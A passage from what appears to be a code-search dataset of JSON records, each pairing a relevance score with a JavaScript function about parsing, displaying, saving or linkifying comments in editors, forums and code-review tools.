bufferSize)\n\t\t\t{\n\t\t\t\tnextName = Substring(buffer, nextPos, 1);\n\t\t\t}\n\n\t\t\tif\n\t\t\t(\n\t\t\t\tname.match(/\\r/) &&\n\t\t\t\tnextName.match(/\\n/)\n\t\t\t)\n\t\t\t{\n\t\t\t\tend = pos;\n\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\telse if (name.match(/\\n/))\n\t\t\t{\n\t\t\t\tend = pos;\n\n\t\t\t\tbreak;\n\t\t\t}\n\n\t\t\tpos++;\n\t\t}\n\n\t\tlet size = (end - start);\n\n\t\tlet comment = Substring(buffer, start, size);\n\n\t\tif (feed)\n\t\t{\n\t\t\tc += comment;\n\t\t}\n\n\t\treturn true;\n\t}\n\telse if\n\t(\n\t\t(name == \"/\") &&\n\t\t(nextName == \"*\")\n\t)\n\t{\n\t\tstart = pos;\n\n\t\tpos += 2;\n\n\t\twhile (pos < bufferSize)\n\t\t{\n\t\t\tlet nextPos = (pos + 1);\n\n\t\t\tlet name = Substring(buffer, pos, 1);\n\t\t\tlet nextName = \"\";\n\n\t\t\tif (nextPos < bufferSize)\n\t\t\t{\n\t\t\t\tnextName = Substring(buffer, nextPos, 1);\n\t\t\t}\n\n\t\t\tif\n\t\t\t(\n\t\t\t\t(name == \"*\") &&\n\t\t\t\t(nextName == \"/\")\n\t\t\t)\n\t\t\t{\n\t\t\t\tend = pos;\n\n\t\t\t\tbreak;\n\t\t\t}\n\n\t\t\tpos++;\n\t\t}\n\n\t\tlet size = (end - start);\n\n\t\tlet comment = Substring(buffer, start, size);\n\n\t\tif (feed)\n\t\t{\n\t\t\tc += comment;\n\t\t}\n\n\t\treturn true;\n\t}\n\n\treturn false;\n}", "title": "" }, { "docid": "0720f86945145ddf0a26dfdaee185fbc", "score": "0.46040335", "text": "function resize_comment(id, viewer) {\n const range = viewer.getSelectionRange();\n if (!range.isEmpty())\n $.ajax({\n dataType: 'json',\n url: 'save_comment_range' +\n '?id=' + $(\"#repository_id\").val() +\n '&comment_id=' + id +\n '&range=' + JSON.stringify(range)})\n .done(function(data) {\n const comment = comments[id];\n unhighlight_range(id, viewer);\n destroy_overlay(id, viewer);\n comments[id].range = range;\n highlight_range(id, viewer);\n create_overlay(id, viewer);\n });\n}", "title": "" }, { "docid": "2e512e5bfa492e5642de92881d06dfc2", "score": "0.4595581", "text": "function checkMarkdown() {\n 'use strict';\n }", "title": "" }, { "docid": "ce454b322ed5bbe06c3833906cc99744", "score": "0.45859352", "text": "function o(r,o,n){let a=null;const s=(e,t)=>{n&&n(e,t),a&&a.visit(e,t);};let m=\"function\"==typeof n?s:void 0,i=!1;if(o){i=\"boolean\"==typeof o.comment&&o.comment;const t=\"boolean\"==typeof o.attachComment&&o.attachComment;(i||t)&&(a=new e$3,a.attach=t,o.comment=!0,m=s);}const p=new G$2(r,o,m),c=p.parseScript();return i&&a&&(c.comments=a.comments),p.config.tokens&&(c.tokens=p.tokens),p.config.tolerant&&(c.errors=p.errorHandler.errors),c}", "title": "" }, { "docid": "fea89fa762e0714d8bcb58fea3494ba3", "score": "0.45831758", "text": "function appendCommentsAndReplies(id, comments){\n var fileId = DriveApp.getFileById(id).getId();\n for(var commentRes in comments){\n var commentId = comments[commentRes].commentId;\n var replySave = comments[commentRes].replies.slice();\n comments[commentRes].replies = [];\n var newComment = Drive.Comments.insert(comments[commentRes], id);\n if(comments[commentRes].author[\"isAuthenticatedUser\"] == false){\n var origContent = comments[commentRes].content;\n var authorName = comments[commentRes].author[\"displayName\"];\n //var newContent = \"<html>help</html>\";\n var newContent = \"\\\"\" + authorName + \"\\\"\" + \": \\n---------------------\\n\" + origContent;\n Drive.Comments.patch({'content':newContent}, id, newComment.commentId);\n }\n comments[commentRes].replies = replySave;\n if(replySave.length != 0){\n for(var reply in replySave){\n var newReply = Drive.Replies.insert(replySave[reply], fileId, newComment.commentId);\n if(replySave[reply].author[\"isAuthenticatedUser\"] == false){\n var origContent = replySave[reply].content;\n var authorName = replySave[reply].author[\"displayName\"];\n var newContent = \"\\\"\" + authorName + \"\\\"\" + \": \\n---------------------\\n\" + origContent;\n Drive.Replies.patch({'content':newContent}, id, newComment.commentId, newReply.replyId)\n }\n }\n }\n }\n}", "title": "" }, { "docid": "5e74a29fb76e9fbee1ad1e4db9b01b42", "score": "0.45762146", "text": "function _readBlanks(context) {\n if ((context.mode & JsonParseMode.CommentsAllowed) != 0) {\n const comments = [];\n while (true) {\n const char = context.original[context.position.offset];\n if (char == '/' && context.original[context.position.offset + 1] == '*') {\n const start = context.position;\n // Multi line comment.\n _next(context);\n _next(context);\n while (context.original[context.position.offset] != '*'\n || context.original[context.position.offset + 1] != '/') {\n _next(context);\n if (context.position.offset >= context.original.length) {\n throw new UnexpectedEndOfInputException(context);\n }\n }\n // Remove \"*/\".\n _next(context);\n _next(context);\n comments.push({\n kind: 'multicomment',\n start,\n end: context.position,\n text: context.original.substring(start.offset, context.position.offset),\n content: context.original.substring(start.offset + 2, context.position.offset - 2),\n });\n }\n else if (char == '/' && context.original[context.position.offset + 1] == '/') {\n const start = context.position;\n // Multi line comment.\n _next(context);\n _next(context);\n while (context.original[context.position.offset] != '\\n') {\n _next(context);\n if (context.position.offset >= context.original.length) {\n break;\n }\n }\n // Remove \"\\n\".\n if (context.position.offset < context.original.length) {\n _next(context);\n }\n comments.push({\n kind: 'comment',\n start,\n end: context.position,\n text: context.original.substring(start.offset, context.position.offset),\n content: context.original.substring(start.offset + 2, context.position.offset - 1),\n });\n }\n else if (char == ' ' || char == '\\t' || char == '\\n' || char == '\\r' || char == '\\f') {\n _next(context);\n }\n else {\n break;\n }\n }\n return comments;\n }\n else {\n let char = context.original[context.position.offset];\n while (char == ' ' || char == '\\t' || char == '\\n' || char == '\\r' || char == '\\f') {\n _next(context);\n char = context.original[context.position.offset];\n }\n return [];\n }\n}", "title": "" }, { "docid": "a39c57b94a72e3f385a3a5b95cead47c", "score": "0.45721862", "text": "function growOver4GiB()\n{\n gPOP3Pump = null;\n\n // Grow inbox to size greater than the max limit (+16 MiB).\n growInbox(kSizeLimit + 0x1000000);\n do_check_true(gInboxFile.fileSize > kSizeLimit);\n\n // Force the db closed, so that getDatabaseWithReparse will notice\n // that it's out of date.\n localAccountUtils.inboxFolder.msgDatabase.ForceClosed();\n localAccountUtils.inboxFolder.msgDatabase = null;\n try {\n localAccountUtils.inboxFolder.getDatabaseWithReparse(ParseListener2, gDummyMsgWindow);\n } catch (ex) {\n do_check_eq(ex.result, Cr.NS_ERROR_NOT_INITIALIZED);\n }\n // Execution continues in copyOver4GiB() when done.\n}", "title": "" }, { "docid": "b6cb599475309f0d11295f5287b04d52", "score": "0.45437163", "text": "function S(e){re||(m(),re=!0),e.l_desc=new i(e.dyn_ltree,ae),e.d_desc=new i(e.dyn_dtree,ie),e.bl_desc=new i(e.bl_tree,se),e.bi_buf=0,e.bi_valid=0,f(e)}", "title": "" }, { "docid": "5e5a75e89a6244358e913e5974b29d6e", "score": "0.4541982", "text": "function betterComments()\n {\n // Linkify the links and add ability to address comment holders again\n $('.comment-body').each(function()\n {\n $(this).parent().parent().addClass(\"comment-holder\");\n linkifyNodeText(this);\n }\n );\n\n // Interlink game panels and comments\n var gamePlayers = [];\n var playerdata = {};\n $(\".gamepanel-holder\").each(function(i)\n {\n var t = $(this);\n var det = t.find(\".panel-details\");\n var gamepanel = t.find(\".gamepanel\");\n var a = det.find(\".panel-user a\");\n if (!a.length) return;\n var id = a.attr(\"href\").match(/\\/player\\/(\\d+)\\//)[1];\n playerdata[id] =\n {\n panel_number: i + 1,\n player_anchor: a.get(0),\n panel_id: gamepanel.attr(\"id\"),\n drew: gamepanel.has(\"img\").length != 0,\n comments: 0\n }\n gamePlayers.push(id);\n }\n );\n\n // Highlight new comments and remember seen comments\n var seenComments = localStorage.getItem(\"gpe_seenComments\");\n seenComments = (seenComments === null) ? {} : JSON.parse(seenComments);\n var gameid = document.location.href.match(/game\\/([^\\/]+)\\//)[1];\n var holders = $(\".comment-holder\");\n if (holders.length)\n {\n // Clear old tracked comments\n var hour = Math.floor(Date.now() / (1000 * 60*60)); // timestamp with 1 hour precision\n for (var tempgame in seenComments)\n {\n // Store game entry for up to a week after last tracked comment\n if (seenComments[tempgame].h + 24*7 < hour)\n {\n delete seenComments[tempgame];\n }\n }\n var maxseenid = 0;\n holders.each(function()\n {\n var t = $(this);\n var dateel = t.find(\"a.text-muted\").first();\n var vue = this.__vue__;\n if (vue)\n {\n var text = dateel.text().trim();\n dateel.text(text + ', ' + formatTimestamp(vue.comment_date * 1000));\n if (vue.edit_date > 0)\n {\n var el = dateel.parent().find('span[rel=\"tooltip\"]');\n var text2 = el.attr('title');\n text2 += \", \" + formatTimestamp(vue.edit_date * 1000).replace(/ /g, \"\\u00A0\"); // prevent the short tooltip width from breaking date apart\n el.attr('title', text2);\n }\n }\n var ago = dateel.text();\n var anchorid = t.attr(\"id\");\n var commentid = parseInt(anchorid.slice(1), 10);\n // Also allow linking to specific comment\n dateel.attr(\"title\", \"Link to comment\");\n dateel.text(dateel.text().trim() + \" #\" + commentid);\n // Track comments from up to week ago\n if (ago.match(/just now|min|hour|a day| [1-7] day/))\n {\n if (!(seenComments[gameid] && seenComments[gameid].id >= commentid))\n {\n t.addClass(\"comment-new\");\n if (maxseenid < commentid) maxseenid = commentid;\n }\n }\n // Add game perticipation info\n var m = t.find(\".text-bold a\").attr(\"href\").match(/\\/player\\/(\\d+)\\//);\n if (m)\n {\n var id = m[1];\n if (gamePlayers.indexOf(id) != -1)\n {\n var drew = 0;\n var drew = playerdata[id].drew ? 'drew' : 'wrote';\n dateel.before('<a href=\"#' + playerdata[id].panel_id +\n '\">(' + drew + ' #' + playerdata[id].panel_number + ')</a> ');\n playerdata[id].comments += 1;\n }\n }\n });\n if (maxseenid) seenComments[gameid] = {h: hour, id: maxseenid};\n localStorage.setItem(\"gpe_seenComments\", JSON.stringify(seenComments));\n }\n for (var i = 0; i < gamePlayers.length; i++)\n {\n var data = playerdata[gamePlayers[i]];\n if (data.comments != 0)\n {\n var cmt = data.comments == 1 ? \" comment\" : \" comments\";\n var cmt2 = 'Player left '+ data.comments + cmt;\n data.player_anchor.title = cmt2;\n $(data.player_anchor).after('<sup title=\"' + cmt2 + '\">' + data.comments + '</sup>');\n }\n }\n if (options.maxCommentHeight)\n {\n var h = options.maxCommentHeight;\n $(\".comment-body\").click(function()\n {\n var t = $(this);\n if ((t.height() > h-50) && !$(location.hash).has(t).length)\n {\n location.hash = \"#\" + t.parent().parent().attr(\"id\");\n }\n });\n }\n }", "title": "" }, { "docid": "93892cbe59efdbece797381ea009bf15", "score": "0.4532422", "text": "function findAllCommentUsedOn(pad) {\n const commentsUsed = [];\n pad.pool.eachAttrib((key, value) => { if (key === 'comment') commentsUsed.push(value); });\n return commentsUsed;\n}", "title": "" }, { "docid": "b5ad02a4fc8d5e43f2ddaaeba7af1f8f", "score": "0.45308873", "text": "function VF_SY121_MAKESCRIPT_COMMENT(arrayScript,strComment) \n{\n arrayScript[arrayScript.length] = \" \"; \n arrayScript[arrayScript.length] = \"/* \" + strComment + \" */\"; \n arrayScript[arrayScript.length] = \" \"; \n return; \n}", "title": "" }, { "docid": "0437d3f0f29a40c4640cb9e3314e5a96", "score": "0.45231384", "text": "function offLineMinimum(str){\n\n}", "title": "" }, { "docid": "996dcea72ccba4b5e20d025d9f782a0c", "score": "0.4521111", "text": "_setupComments(postId,author,imageText){const post=this.postElement;// Creates the initial comment with the post's text.\n$('.fp-first-comment',post).empty();$('.fp-first-comment',post).append(friendlyPix.Post.createCommentHtml(author,imageText));// Load first page of comments and listen to new comments.\n$('.fp-comments',post).empty();friendlyPix.firebase.getComments(postId).then(data=>{this.displayComments(data.entries);this.displayNextPageButton(data.nextPage);// Display any new comments.\nconst commentIds=Object.keys(data.entries);friendlyPix.firebase.subscribeToComments(postId,(commentId,commentData)=>{$('.fp-comments',post).append(friendlyPix.Post.createCommentHtml(commentData.author,commentData.text))},commentIds?commentIds[commentIds.length-1]:0)});if(this.auth.currentUser){// Bind comments form posting.\n$('.fp-add-comment',post).submit(e=>{e.preventDefault();const commentText=$(`.mdl-textfield__input`,post).val();friendlyPix.firebase.addComment(postId,commentText);$(`.mdl-textfield__input`,post).val('')});const ran=Math.floor(Math.random()*10000000);$('.mdl-textfield__input',post).attr('id',`${postId}-${ran}-comment`);$('.mdl-textfield__label',post).attr('for',`${postId}-${ran}-comment`);// Show comments form.\n$('.fp-action',post).css('display','flex')}}", "title": "" }, { "docid": "4b3cb00fb263c16c98ec7c55b55a4036", "score": "0.45208657", "text": "function commentellipses(comments) {\r\n if (comments.length > 40) {\r\n var str1 = comments.substring(0, 40) + \"...\";\r\n return str1;\r\n } else {\r\n return comments;\r\n }\r\n}", "title": "" }, { "docid": "6b8c99e382c9b888925f085db509899d", "score": "0.4516065", "text": "skipComment() {\n // At runtime, we don't care about comments so we just have\n // to parse them properly and skip their content.\n let eol = this._source.indexOf(\"\\n\", this._index);\n\n while (eol !== -1 && this._source[eol + 1] === \"#\" && [\" \", \"#\"].includes(this._source[eol + 2])) {\n this._index = eol + 3;\n eol = this._source.indexOf(\"\\n\", this._index);\n\n if (eol === -1) {\n break;\n }\n }\n\n if (eol === -1) {\n this._index = this._length;\n } else {\n this._index = eol + 1;\n }\n }", "title": "" }, { "docid": "fc527b3b8cf40125454b19f8b84a499a", "score": "0.45106655", "text": "function doneReview() {\n var editFrame = document.getElementById(\"editFrame\");\n var reviewFrame = document.getElementById(\"reviewFrame\");\n\n var text = [\"(from review of attachment \" + location.attachmentid + \")\"];\n for each (let table in (reviewFrame.querySelectorAll(\".file_table\"))) {\n if (!table.querySelector(\".hunk[comment_count]\")) {\n // no comments for this file, skip\n continue;\n }\n for (let [, line] in Iterator(table.file.header)) {\n text.push(\">\" + line);\n }\n for each (let hunk in table.querySelectorAll(\".hunk[comment_count]\")) {\n text.push(\">@@ \" + hunk.querySelector(\".section_head\").textContent + \" @@\");\n for (let run = 0; true; ++run) {\n let selector = \"tr[run='\" + run + \"']\";\n let sample = hunk.querySelector(selector);\n if (!sample) {\n // end of run\n break;\n }\n if (sample.classList.contains(\"context\")) {\n for each (let left in hunk.querySelectorAll(selector + \" .left .line\")) {\n text.push(\"> \" + left.textContent);\n let key = getDBKeyForSpan(left);\n let comment = localStorage.getItem(key);\n let hasLeftComment = false;\n if (comment !== null) {\n hasLeftComment = true;\n text.push(comment);\n }\n comment = localStorage.getItem(key.replace(/-left$/, \"-right\"));\n if (comment !== null) {\n if (hasLeftComment) {\n text.push(\"-----\");\n }\n text.push(comment);\n }\n }\n }\n else {\n for each (let left in hunk.querySelectorAll(selector + \" .left .line\")) {\n text.push(\">-\" + left.textContent);\n let comment = localStorage.getItem(getDBKeyForSpan(left));\n if (comment !== null) {\n text.push(comment);\n }\n }\n for each (let right in hunk.querySelectorAll(selector + \" .right .line\")) {\n text.push(\">+\" + right.textContent);\n let comment = localStorage.getItem(getDBKeyForSpan(right));\n if (comment !== null) {\n text.push(comment);\n }\n }\n }\n }\n }\n }\n\n editFrame.value = text.concat(\"\").join(\"\\n\");\n}", "title": "" }, { "docid": "806dba3fe6203caa2fd18ee7570e2049", "score": "0.45060903", "text": "constructor() {\n super('Comment', new SimpleSchema({\n clubId: { type: String },\n author: { type: String },\n text: { type: String },\n date: { type: String },\n picture: { type: String },\n }, { tracker: Tracker }));\n }", "title": "" }, { "docid": "f44313cf174068b885ba035f9cf84925", "score": "0.44968325", "text": "function patchCommentNodeProto(comment) {\n if (language_1.isUndefined(CommentNodeProto)) {\n CommentNodeProto = PatchedNode(comment).prototype;\n }\n language_1.setPrototypeOf(comment, CommentNodeProto);\n}", "title": "" }, { "docid": "55291c4d314dcda0d6584ff730e7879f", "score": "0.4493453", "text": "function Question(title, body, tags, link){\n this.title = title;\n this.body = body;\n this.tags = tags;\n this.link = link;\n this.codeTags = new Array(); //An array of CodeTag\n\n this.findCodeTags = function(){ //Find the start and end index of code blocks\n var lastStartIndex = -1;\n var lastEndIndex = -1;\n while(true){\n var start = this.body.indexOf(\"<pre>\", lastStartIndex + 1);\n var end = this.body.indexOf(\"</pre>\", lastEndIndex + 1);\n\n if(start != end && start != -1){\n this.codeTags.push(new CodeTag(start, end));\n lastStartIndex = start;\n lastEndIndex = end;\n }\n else {\n break;\n }\n }\n }\n\n this.hasCodeTags = function(){\n return this.codeTags.length > 0;\n }\n\n this.lastCodeOpenTag = function(){\n if(this.hasCodeTags()){\n return this.codeTags[this.codeTags.length - 1].open;\n }\n else {\n return -1;\n }\n }\n\n this.lastCodeCloseTag = function(){\n if(this.hasCodeTags()){\n return this.codeTags[this.codeTags.length - 1].close;\n }\n else {\n return -1;\n }\n }\n\n /*\n This function returns the final number of characters to include in the excerpt. It tries to get as close to charCutoff as possible,\n but it has to take into account a couple of factors:\n\n Sometimes charCutoff happens to be in the middle of a code block. Cutting the content off here is awkward, and it also breaks the formatting of the code blocks\n So this will try to either place the cutoff before the start of a code block or after the end of a code block, but within the tolerance\n */\n this.getCutoff = function(){\n var tolerance = 100; //Modify this to change how much content is willing to be added on or removed in order to meet criteria above.\n for(var i = this.codeTags.length - 1; i >= 0; i--){\n if(Math.abs(this.codeTags[i].close - charCutoff) < tolerance){ //First, try to include the entire code block if it is within tolerance\n return this.codeTags[i].close;\n }\n else if(Math.abs(this.codeTags[i].open - charCutoff) < tolerance){ //Then, if the start of a code block is within tolerance, cut off before\n return this.codeTags[i].open - 1;\n }\n else if(this.codeTags[i].open < charCutoff && this.codeTags[i].close > charCutoff){ //The code block is too large but charCutoff is in the block. Safest is to just cutoff before.\n return this.codeTags[i].open - 1;\n }\n }\n\n return charCutoff; //If it gets to this point, then just return the default cutoff.\n }\n\n this.getShortenedContent = function(){\n return this.body.substring(0, this.getCutoff());\n }\n\n this.hasMoreContent = function(){\n return this.body.length > this.getShortenedContent().length;\n }\n}", "title": "" }, { "docid": "3dd353d792312faaeb5f301a683c8fd7", "score": "0.44923782", "text": "function linkify(){\n \n //this will break if the comment background changes,\n //id is for not selecting the commentbox by accident\n var commentList = document.querySelectorAll('td[bgcolor=\"#446688\"][id]');\n\n //make sure to not break the whole script, if the backgroundColor changes\n if(commentList && commentList.length > 0) {\n \n for(var i = 0; i < commentList.length; i++) {\n \n var commentText = commentList[i],\n links = commentText.getElementsByTagName('a');\n \n //test if that comment has links, if not search for URLs that could be linkified\n //TODO Can querySelectorAll detect linkless comments?\n //NOTE Second condition might be a bug in pouet, see page 42 on the thread\n if((links.length == 0) || (links.length == 1 && links[0].name == \"lastpost\")) {\n \n //dirty approach to get oneline comments fixed as well\n var comment = ((commentText.innerHTML).trim() + ' \\n').replace('<br>', ' <br>'),\n wordList = comment.split(' ');\n \n for(var c = 0; c < wordList.length; c++) {\n \n if(wordList[c].indexOf('http') == 0) {\n wordList[c] = '<a title=\"[FIXED BBCODE LAMER]\" href=\"' + wordList[c] +'\">' + wordList[c] + '</a>';\n }\n }\n \n commentText.innerHTML = wordList.join(' ');\n }\n }\n }\n }", "title": "" }, { "docid": "36d3a075938f81074d576dee1336bfdc", "score": "0.44906944", "text": "static get maxDiffLines() {\n return 60;\n }", "title": "" }, { "docid": "958e8756dba6ab5801625dde9bf7ecfe", "score": "0.44867182", "text": "function charlimit(str) {\r\n\t\tif (str.length > 140) {\r\n\t \tstr = str.substring(0, 140);\r\n\t \tstr = str.substr(0, Math.min(str.length, str.lastIndexOf(\" \"))) + \" ...\";\r\n\t \treturn str;\r\n\t\t}\r\n\t}", "title": "" }, { "docid": "52205a67de9595aedf4a2afcc4b5ba20", "score": "0.4486256", "text": "function Comment(ref, text) {\n this[\"@context\"] = \"http://vitali.web.cs.unibo.it/twiki/pub/TechWeb16/context.json\";\n this[\"@type\"] = \"comment\";\n this[\"@id\"] = null;\n this[\"text\"] = text;\n this[\"ref\"] = ref;\n this[\"author\"] = \"mailto:\"+$scope.reviewer.email;\n this[\"date\"] = new Date().toISOString();\n }", "title": "" }, { "docid": "68e857ee85cccfa075bce5cd44967c4b", "score": "0.4485621", "text": "function getBufferMaxCount$1() {\n\t return 4;\n\t}", "title": "" }, { "docid": "70358621624952e7a4865adb17ec7d7e", "score": "0.4481847", "text": "function debug(aStr) {\n//@line 34 \"c:\\mozilla-source\\dom\\downloads\\DownloadsAPI.js\"\n}", "title": "" }, { "docid": "9d7325426f2cb7bfccaad3f024d54aef", "score": "0.4468721", "text": "function getMaxNumberOfComments() {\n fetch('/data').then(response=>response.json()).then((data)=> {\n let numComments = document.getElementById('num-comments').value;\n const comments = document.getElementById('data-container');\n comments.innerHTML = '';\n \n // Display the maximum number of comments requested by the user.\n for (let i=0; i<numComments && i<data.length; i++) {\n // Format i comments in a list and display to the webpage.\n if (data[i] != \"\") {\n comments.appendChild(createListElement(data[i]));\n }\n }\n });\n}", "title": "" }, { "docid": "6c6b916b9e6ef00f79780f6ebca19bef", "score": "0.44656667", "text": "function DocumentBlock(token, properties) {\r\n var thisBlock = this;\r\n var returnChar = _self.flags.returnChar, tabChar = _self.flags.tabChar;\r\n thisBlock.warnings = [];\r\n thisBlock.srcPath = properties.srcPath || '';\r\n // normalize carriage regurns\r\n token = token.replace(/\\r\\n/g,'\\n');\r\n // body\r\n token = token.replace(thisBlock.body = token.match(re['body'])[1], '');\r\n // declaration and indent\r\n thisBlock.textIndent = thisBlock.body.match(re['declaration'])[1].length;\r\n thisBlock.declaration = thisBlock.body.match(re['declaration'])[2];\r\n // determine if token should appear in public API\r\n thisBlock.isPrivate = !!token.match(/^\\/\\*[^\\*]/);\r\n // remove \"/**\", \"/*\" and \"*/\"\r\n token = token.replace(/(^\\/\\*\\*?\\s)|\\*\\/\\n?/g,'');\r\n // escape HTML\r\n token = token.escapeHTML();\r\n // unescape slashes\r\n token = token.replace(/\\\\\\//g, '/');\r\n // unescape CODE tag\r\n token = token.replace(/&lt;(\\/?code)&gt;/g, '<$1>');\r\n // normalize text within CODE tag\r\n token = token.replace(/<code>[\\w\\W]+?<\\/code>/g, function (match) {\r\n var s = match.replace(/\\n?\\s*\\*/g, returnChar);\r\n return s.replace(' ', tabChar).replace(/\\n/g, returnChar);\r\n });\r\n // normalize unordered lists\r\n token = token.replace(/\\n\\s*\\*?\\s*-/g, returnChar + tabChar + '-');\r\n // normalize double carriage returns\r\n token = token.replace(/\\n\\s*\\*?\\s*\\n\\s*\\*?\\s/g, returnChar.repeat(2));\r\n // normalize ordered lists\r\n token = token.replace(/\\n\\s*\\*?\\s*(\\d\\.)/g, returnChar + tabChar +'$1');\r\n // remove leading asterisks\r\n token = token.replace(/\\n?\\s*\\*/g, '');\r\n // remove all remaining line breaks\r\n// token = token.replace(/\\n/g, '');\r\n // parse keywords\r\n _keywordRules.forEach(function (rule) {\r\n var regex = new RegExp('(?!&lt;code&gt;)\\{@' + rule.regex + '\\}(?!&lt;\\/code&gt;)', 'ig');\r\n token = token.replace(regex, rule.decorator);\r\n });\r\n //parse properties\r\n thisBlock.summary = (token.match(re['summary'])[0] || '').replace(/\\n|^\\s+|\\s+$/g, '');\r\n var typeMatch = matchType(thisBlock.declaration.replace(/[\\r\\n]/g, ''));\r\n thisBlock.matchType = typeMatch[0];\r\n thisBlock.name = typeMatch[1] || '';\r\n thisBlock.args = typeMatch[2] || [];\r\n thisBlock.parent = typeMatch[3];\r\n thisBlock.type = getObjectType(thisBlock);\r\n if (thisBlock.type == 'function' && token.match(/@constructor/)) { thisBlock.type = 'constructor'; }\r\n if (thisBlock.matchType == 'json' && token.match(/@static/)) { thisBlock.isStatic = true; }\r\n\r\n // parse tags. Each tag removes its entry from the token\r\n _tags.forEach(function (tag) {\r\n var re = new RegExp('@' + tag + '[^@]+', 'ig');\r\n var match = token.match(re);\r\n if (match || !thisBlock[tag]) {\r\n thisBlock[tag] = match || [];\r\n token = token.replace(re, '');\r\n thisBlock[tag] = thisBlock[tag].forEach(function (item) {\r\n return item.replace(new RegExp('@' + tag + 's? '), '').trim();\r\n });\r\n }\r\n });\r\n // unrecognized declaration and no @type tag\r\n if (thisBlock.type == 'unknown') { thisBlock.warnings.push(['Unknown object type: ' + thisBlock.declaration]); }\r\n // all other undeclared tags are silently swallowed\r\n token = token.replace(/@.+?(\\n|$)/, '');\r\n // clean up spaces\r\n thisBlock.description = token.replace(/ +/g, ' ').trim();\r\n // generate signature, if applicable\r\n if (thisBlock.type in set('function', 'constructor')) {\r\n var signatureObj = parseSignature(thisBlock);\r\n thisBlock.signature = signatureObj.signature;\r\n if (signatureObj.structure.warnings) {\r\n thisBlock.warnings.push(signatureObj.structure.warnings);\r\n }\r\n } else { thisBlock.signature = thisBlock.name; }\r\n return thisBlock;\r\n }", "title": "" }, { "docid": "4ed3fec809ae47e2eaef2bbf6a4da970", "score": "0.4464295", "text": "function markdownWithinDocs () {\n\n}", "title": "" }, { "docid": "a99904686e6a8a5acaf4e092b448b30a", "score": "0.4459532", "text": "_skipToTextInComments(text, startPos) {\n if (startPos + 1 >= text.length) return null;\n if (text[startPos] != '/' || text[startPos + 1] != '/') {\n return null;\n } else {\n return startPos + 2;\n }\n }", "title": "" }, { "docid": "a121828360e8a4d354f0bd024baaa3f6", "score": "0.44574782", "text": "function _TruncateDocDescription(des, id){\r\n\r\n if(!des)return \"error\"\r\n des = des.substring(0, des.length);\r\n if (des.length > 100){\r\n var newId = id.toString();\r\n des=des.replace(/<br>/gi, \"\\n\");\r\n des=des.replace(/<p.*>/gi, \"\\n\");\r\n des=des.replace(/<a.*href=\"(.*?)\".*>(.*?)<\\/a>/gi, \" $2 (Link->$1) \");\r\n des=des.replace(/<(?:.|\\s)*?>/g, \"\");\r\n\r\n var newId = id.replace(/ /g,'')\r\n return \"<span 'style= display:inline'> \" + des.substring(0, 100) +\r\n '<div style = \"display:inline\" id = '+newId+ '-elipsis' + '>' +'...' + '</div>' +\r\n \"</span>\" + \"<span id = \" + newId + '-doc' +\" style = 'display:none'>\" + des.substring(100, des.length) +\r\n \"<span style = 'color:blue; cursor: pointer' id = \" + newId + '-less' + ' onclick = _showLessDocDescription(\\'' + newId + '\\')>' +' less'+ \"</span>\" +\r\n \"</span>\" + '<span onclick = \"_ShowFullDocDescription(\\'' + newId + '\\')\"> <span style = \"color:blue; cursor: pointer\" id = \\'' + newId + \"-more\" +'\\' > more</span></span>';\r\n }\r\n else {\r\n return des + '.';\r\n }\r\n}", "title": "" }, { "docid": "1b69988346e371327857f440f9adb4f6", "score": "0.44570336", "text": "function restoreComments() {\n var reviewFrame = document.getElementById(\"reviewFrame\");\n for (var i = 0; i < localStorage.length; ++i) {\n var key = localStorage.key(i);\n var match = /^review-(\\d+)-file-(.*)-line-(\\d+)-([a-z]+)/.exec(key);\n if (match && match[1] == location.attachmentid) {\n var line = reviewFrame.querySelector('.file_table[filename=\"' + match[2] +\n '\"] .' + match[4] +\n ' .line[line_number=\"' + match[3] +\n '\"]');\n if (line) {\n updateComment(line);\n }\n }\n }\n reviewFrame.scrollIntoView();\n}", "title": "" }, { "docid": "82ed0f847a17b692a713dc1299ad1a1e", "score": "0.4454387", "text": "static LongBlob() {\n return 'LONGBLOB';\n }", "title": "" }, { "docid": "aecdac8dce4ec392d452034c827018d7", "score": "0.44519556", "text": "get hasComment() {\n let a = this._o;\n if (a == null) {\n return false;\n }\n return a._a6(this._aa) != null;\n }", "title": "" }, { "docid": "348f853af344ccb184c4bce2714e50fe", "score": "0.44464", "text": "function hereDoc(f) {\n\treturn f.toString().\n\t\treplace(/^[^\\/]+\\/\\*!?/, '').\n \treplace(/\\*\\/[^\\/]+$/, '');\n}", "title": "" }, { "docid": "f3967965b528bd86be9086fb170338c5", "score": "0.44457722", "text": "removeLastComment() {\n this.comments.splice(0, 1);\n this.serverNumComments--;\n }", "title": "" }, { "docid": "48420e575d458268a8abcd266f4f2ae4", "score": "0.44412297", "text": "calculateCommentPosition(fileChange, thread) {\n const uri = thread.uri;\n const params = uri_1.fromPRUri(uri);\n const isBase = !!(params && params.isBase);\n const position = diffPositionMapping_1.mapHeadLineToDiffHunkPosition(fileChange.diffHunks, '', thread.range.start.line + 1, isBase);\n if (position < 0) {\n throw new Error('Comment position cannot be negative');\n }\n return position;\n }", "title": "" }, { "docid": "27b1019a3cb16d67210bfe5b8517efb9", "score": "0.44384962", "text": "function findPostComments() {}", "title": "" }, { "docid": "7d0908fa7e5e7b7a3b44fb9706373726", "score": "0.44343027", "text": "close() {\n /* tslint:disable:no-empty */\n }", "title": "" }, { "docid": "197e48afd820a6ddcb5425c6f646e689", "score": "0.443302", "text": "commentToken(chunk = this.chunk) {\r\n\t\t\t\tvar comment, commentAttachments, content, contents, here, i, match, matchIllegal, newLine, placeholderToken, prev;\r\n\t\t\t\tif (!(match = chunk.match(COMMENT))) {\r\n\t\t\t\t\treturn 0;\r\n\t\t\t\t}\r\n\t\t\t\t[comment, here] = match;\r\n\t\t\t\tcontents = null;\r\n\t\t\t\t// Does this comment follow code on the same line?\r\n\t\t\t\tnewLine = /^\\s*\\n+\\s*#/.test(comment);\r\n\t\t\t\tif (here) {\r\n\t\t\t\t\tmatchIllegal = HERECOMMENT_ILLEGAL.exec(comment);\r\n\t\t\t\t\tif (matchIllegal) {\r\n\t\t\t\t\t\tthis.error(`block comments cannot contain ${matchIllegal[0]}`, {\r\n\t\t\t\t\t\t\toffset: matchIllegal.index,\r\n\t\t\t\t\t\t\tlength: matchIllegal[0].length\r\n\t\t\t\t\t\t});\r\n\t\t\t\t\t}\r\n\t\t\t\t\t// Parse indentation or outdentation as if this block comment didn’t exist.\r\n\t\t\t\t\tchunk = chunk.replace(`###${here}###`, '');\r\n\t\t\t\t\t// Remove leading newlines, like `Rewriter::removeLeadingNewlines`, 